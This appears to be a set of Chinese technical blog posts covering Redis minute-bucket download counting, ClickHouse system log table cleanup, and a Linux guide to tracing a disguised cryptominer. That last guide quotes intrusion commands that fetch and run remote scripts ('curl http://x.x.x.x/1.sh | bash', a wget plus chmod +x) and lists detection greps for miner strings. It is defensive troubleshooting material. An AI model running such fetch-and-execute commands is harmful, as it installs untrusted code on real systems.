下载量统计:滑动窗口 vs 整点分桶与 Redis 分钟桶方案
两种统计方式 滑动窗口(实时系统首选) 统计"当前往前推 N 小时"的下载数: -- 1 小时下载量 SELECT COUNT(*) FROM downloads WHERE download_time >= NOW() - INTERVAL 1 HOUR;-- 3 小时下载量 SELECT COUNT(*) FROM downloads WHERE download_time >= NOW() - INTERVAL 3 HOUR;特点:平滑、不会整点突变,适合实时热榜、推荐系统、CDN 统计。 自然时间段(BI 报表常用) 按整点分桶,例如现在 15:37,统计范围是 15:00~15:59: SELECT COUNT(*) FROM downloads WHERE HOUR(download_time) = HOUR(NOW()) AND DATE(download_time) = CURDATE();适合财务报表、数据仓库场景,不适合实时排行——整点会出现排名抽搐。 Redis 分钟桶(高并发推荐) 生产环境不会每次扫大表,而是用 Redis 分钟桶: Key 格式:download:item:{id}:{yyyyMMddHHmm} 例如:download:item:123:202605281537每次下载: INCR download:item:123:202605281537 EXPIRE download:item:123:202605281537 86400查询 1 小时:累加最近 60 个分钟 Key 查询 3 小时:累加最近 180 个分钟 Key 逻辑上是滑动窗口,底层是时间桶——抖音、B站、Steam 热榜的标准做法。 热度分值 单纯看 1 小时容易被刷量,实际排行榜通常组合多个时间窗口: score = download_1h * 0.5 + download_3h * 0.3 + download_24h * 0.2再叠加时间衰减因子防止老内容永远霸榜。 方案选型场景 推荐方案普通业务后台 MySQL NOW() - INTERVAL高并发下载统计 Redis 分钟桶 + 定时汇总热门排序 1h + 3h + 24h 三个窗口组合历史分析 / BI ClickHouse 聚合
Redis 下载量统计:滑动窗口、时间桶与热度排名
两种时间口径 滑动窗口:统计 now() - INTERVAL 到 now() 的下载量,精确反映最近一段时间,但每次查询结果都在变化。 自然时间段:按整点(今天 0 点至今、本小时 0 分至今)统计,实现简单,但整点后计数归零,会出现明显跳变。 大多数业务选择自然时间段作为展示口径,滑动窗口用于后台热度计算。 Redis 分钟级时间桶 每次下载触发 INCR,key 包含资源 ID 和分钟级时间戳: download:item:123:202605281537时间戳格式:yyyyMMddHHmm,精度到分钟。 import redis from datetime import datetimer = redis.Redis()def record_download(item_id: int): minute_key = datetime.utcnow().strftime("%Y%m%d%H%M") key = f"download:item:{item_id}:{minute_key}" r.incr(key) r.expire(key, 86400 * 2) # 保留 2 天,超过不再需要EXPIRE 设为 2 天,避免 key 无限堆积。 查询最近 1 小时下载量 累加过去 60 个分钟 key: from datetime import datetime, timedeltadef get_downloads_1h(item_id: int) -> int: now = datetime.utcnow() keys = [] for i in range(60): t = now - timedelta(minutes=i) minute_key = t.strftime("%Y%m%d%H%M") keys.append(f"download:item:{item_id}:{minute_key}") counts = r.mget(keys) return sum(int(c) for c in counts if c)同理,3 小时累加 180 个 key,24 小时累加 1440 个 key。 热度排名分数 加权组合多个时间窗口,近期权重更高: def get_hot_score(item_id: int) -> float: h1 = get_downloads_1h(item_id) h3 = get_downloads_3h(item_id) h24 = get_downloads_24h(item_id) return h1 * 0.5 + h3 * 0.3 + h24 * 0.2定时任务(如每 5 分钟)批量计算所有资源的热度分,写入 Redis Sorted Set: r.zadd("hot:items", {str(item_id): score})查询热度榜: top10 = r.zrevrange("hot:items", 0, 9, withscores=True)写入性能优化 下载量高时,单个 key 的 INCR 有热点风险。可以用 Pipeline 批量写: pipe = r.pipeline() for item_id in download_batch: key = f"download:item:{item_id}:{minute_key}" pipe.incr(key) pipe.expire(key, 172800) pipe.execute()或者在应用层做本地聚合,每 30 秒一次性写入 Redis,减少 INCR 频率。 离线统计:ClickHouse 实时热度用 Redis 时间桶,历史下载量分析(按天/按地区)用 ClickHouse:每次下载写入 Kafka,消费后落表到 ClickHouse ClickHouse 按 item_id + date 聚合,查询速度远快于 MySQLRedis 时间桶适合实时排行榜,ClickHouse 适合报表和长周期分析,两者互补。
ClickHouse system 日志表清理:TRUNCATE、关闭无用日志和 TTL 配置
ClickHouse 的 system.*_log 表在生产环境不加干预,几个月就能积累几十上百 GB。 空间占用查询 SELECT database, table, formatReadableSize(sum(bytes)) size FROM system.parts GROUP BY database, table ORDER BY sum(bytes) DESC;常见爆炸表:表 典型症状text_log 大量 exception 或 debug 日志trace_log 开了 profile 或查询 traceasynchronous_metric_log metrics 刷新间隔太低metric_log 运行时间过长part_log 小批量高频 insertquery_log 高频查询立即清理 TRUNCATE TABLE system.text_log; TRUNCATE TABLE system.trace_log; TRUNCATE TABLE system.asynchronous_metric_log; TRUNCATE TABLE system.metric_log; TRUNCATE TABLE system.part_log; TRUNCATE TABLE system.query_log; TRUNCATE TABLE system.latency_log; TRUNCATE TABLE system.processors_profile_log;SYSTEM FLUSH LOGS;TRUNCATE 后空间不会立刻全部回收(还有 deleted parts 和文件系统缓存),重启服务通常能完全释放: systemctl restart clickhouse-server关闭不需要的日志 编辑 /etc/clickhouse-server/config.xml 或 /etc/clickhouse-server/config.d/*.xml: <!-- 关闭高噪音日志 --> <text_log remove="1"/> <trace_log remove="1"/> <metric_log remove="1"/> <asynchronous_metric_log remove="1"/> <processors_profile_log remove="1"/> <part_log remove="1"/>重启生效: systemctl restart clickhouse-server生产建议:保留 query_log,用于慢查询分析。其余视需要选择性保留。 设置 TTL 限制保留天数 不想完全关闭,只保留最近几天: <query_log> <database>system</database> <table>query_log</table> <flush_interval_milliseconds>7500</flush_interval_milliseconds> <ttl>event_date + INTERVAL 7 DAY DELETE</ttl> </query_log>part_log 异常:小批量写入问题 part_log 几千万行通常意味着:每条记录单独 INSERT(正确做法是批量几千到几万行) Kafka consumer batch 配置太小 频繁小事务导致 parts 积累、merge 压力大查看各表的活跃 parts 数量: SELECT table, count() FROM system.parts WHERE active GROUP BY table ORDER BY count() DESC;正常表的 parts 数在百到千量级;如果单表几万 parts,说明写入模式有问题。 query_log 分析 高频查询: SELECT query, count() FROM system.query_log GROUP BY query ORDER BY count() DESC LIMIT 20;频繁报错的查询: SELECT exception, count() FROM system.query_log WHERE type = 'ExceptionWhileProcessing' GROUP BY exception ORDER BY count() DESC LIMIT 20;不要直接删目录 rm -rf /var/lib/clickhouse/data/system/* 可能导致 metadata 不一致、启动失败或权限异常,优先使用 TRUNCATE、TTL 或 remove="1" 配置。
ClickHouse system.*_log 表几十 GB?先清后关
线上一台 ClickHouse 跑了两个月,磁盘吃掉几十 GB。查一下: SELECT database, table, formatReadableSize(sum(bytes)) AS size, sum(rows) AS rows FROM system.parts WHERE active GROUP BY database, table ORDER BY sum(bytes) DESC LIMIT 10;结果: system text_log 34.15 GiB 9亿行 system trace_log 11.41 GiB 5亿行 system asynchronous_metric_log 9.36 GiB 347亿行 system metric_log 7.75 GiB 3600万行 system part_log 4.65 GiB 6800万行 system query_log 3.59 GiB 3800万行几乎全是 ClickHouse 自己写的内部监控日志。业务数据加起来才几个 G。 第一步:立刻清理 TRUNCATE 把大头清空: TRUNCATE TABLE system.text_log; TRUNCATE TABLE system.trace_log; TRUNCATE TABLE system.asynchronous_metric_log; TRUNCATE TABLE system.metric_log; TRUNCATE TABLE system.part_log; TRUNCATE TABLE system.processors_profile_log; -- query_log 可以选择保留,用于事后排查 TRUNCATE TABLE system.latency_log;query_log 是"这个 ClickHouse 都处理过什么 SQL"的记录,日常排查很有用,多数情况留着。 清完之后: SYSTEM FLUSH LOGS;再查一次磁盘: du -sh /var/lib/clickhouse/data/system/*空间没立刻回收是正常的。因为:MergeTree 的 parts 只是标记删除,等 merge 文件系统 cache delete_from_disk 有 TTL可以强制一下: OPTIMIZE TABLE system.query_log FINAL;或者最粗暴: sudo systemctl restart clickhouse-server启动时会跳过被标记删除的 parts。 第二步:从根源关掉不需要的日志 清了以后不管,几周后又长回来。要真省心就编辑 config,把不用的日志表直接关掉。 编辑: sudo nano /etc/clickhouse-server/config.d/logs.xml内容: <clickhouse> <!-- 关掉巨吃磁盘的三个 --> <text_log remove="1"/> <trace_log remove="1"/> <asynchronous_metric_log remove="1"/> <metric_log remove="1"/> <part_log remove="1"/> <processors_profile_log remove="1"/> <!-- query_log 保留,但缩短 TTL --> <query_log> <database>system</database> <table>query_log</table> <partition_by>toYYYYMM(event_date)</partition_by> <ttl>event_date + INTERVAL 7 DAY DELETE</ttl> <flush_interval_milliseconds>7500</flush_interval_milliseconds> </query_log> </clickhouse>remove="1" 直接不启用这类表 <ttl> 让 ClickHouse 自动过期删除老数据重启生效: sudo systemctl restart clickhouse-server为什么这些表会爆 asynchronous_metric_log 每秒都在采几百个指标,一天几千万行是正常的。trace_log 记录每个 query 的 profile 事件,非常细。这些表默认全开,对于开发/测试很有用,对生产就是纯磁盘杀手。 生产环境的经验:保留:query_log(+ 7 天 TTL) 可选保留:query_thread_log 排查慢查询用 关掉:text_log、trace_log、asynchronous_metric_log、metric_log、part_log、processors_profile_log如果需要采指标,用 Prometheus 拉 /metrics 接口,别依赖 ClickHouse 内部 metric_log。 顺手加个磁盘水位报警 SELECT name, formatReadableSize(free_space) AS free, formatReadableSize(total_space) AS total, round(free_space / total_space * 100, 1) AS free_percent FROM system.disks;低于 20% 该发告警了。 一句话总结 ClickHouse 磁盘被吃是 system.*_log 表的锅。先 TRUNCATE 清空、再 config 里 remove="1" 关掉大部分、给 query_log 加个 TTL。生产上从第一天就该这么配。
Linux 查找可疑进程来源:恶意挖矿木马排查
发现可疑进程 /root/.config/sys-update-daemon 时,正常系统进程不会放在用户家目录下,这类路径通常是挖矿木马或后门程序的伪装。 第一步:确认文件创建时间 stat /root/.config/sys-update-daemon重点关注:Modify:文件最后修改时间 Change:inode 变化时间 Birth:创建时间(支持 ext4)通过创建时间可以缩小入侵时间窗口。 第二步:查看进程树 pstree -asp <PID>或: ps -ef --forest | grep sys-update确认是什么进程启动了它(bash、cron、systemd、SSH session)。 第三步:检查 systemd 持久化 恶意程序最常见的持久化方式: # ���看可疑服务 systemctl list-units --type=service | grep -i update# 搜索 systemd 配置文件 grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null如果找到 ExecStart=/root/.config/sys-update-daemon,说明已持久化。 第四步:检查 cron 任务 crontab -l grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null第五步:查看 Shell 历史(关键) history | grep -E "wget|curl|chmod|sys-update" cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"常见入侵模式: curl http://x.x.x.x/1.sh | bash wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon如果 history 被清空,查历史文件大小是否异常: ls -l ~/.bash_history wc -l ~/.bash_history第六步:查看 SSH 登录记录 last -a # 最近登录历史,带 IP lastlog # 每个账户最后登录重点看陌生 IP 地址。如果服务器 22 端口暴露公网,极可能被 SSH 爆破入侵。 第七步:查看网络连接 ss -antp | grep <PID> lsof -i -P -n | grep sys-update挖矿木马常见连接端口:3333、4444、5555、7777、14444(矿池端口)。 第八步:静态分析二进制 sha256sum /root/.config/sys-update-daemon strings /root/.config/sys-update-daemon | less搜索关键字: strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"出现 xmrig、stratum+tcp://、矿池域名基本确认是挖矿木马。 第九步:查最近被修改的文件 推断同时落地的其他恶意文件: # 最近 1 天内修改的文件 find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null# 按具体时间查(替换时间为创建时间) find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null隔离和清理 # 先杀进程 kill -9 <PID># 移除执行权限 chmod -x /root/.config/sys-update-daemon# 检查是否自动重启(有守护进程) ps -ef | grep sys-update如果持续重启,说明还有守护脚本: systemctl stop <service-name> systemctl disable <service-name> rm /etc/systemd/system/<service-name>.service常见入侵向量原因 排查命令SSH 弱密码/爆破 `last -aRedis 未授权 redis-cli config get requirepassDocker API 暴露 `ss -antp宝塔弱口令 查 Panel 访问日志Java/Jenkins/Log4j 漏洞 查应用访问日志异常请求公网暴露的服务器,SSH 默认端口 + 弱密码几乎一定会被爆破。建议:禁止密码登录,只允许 SSH 密钥认证。
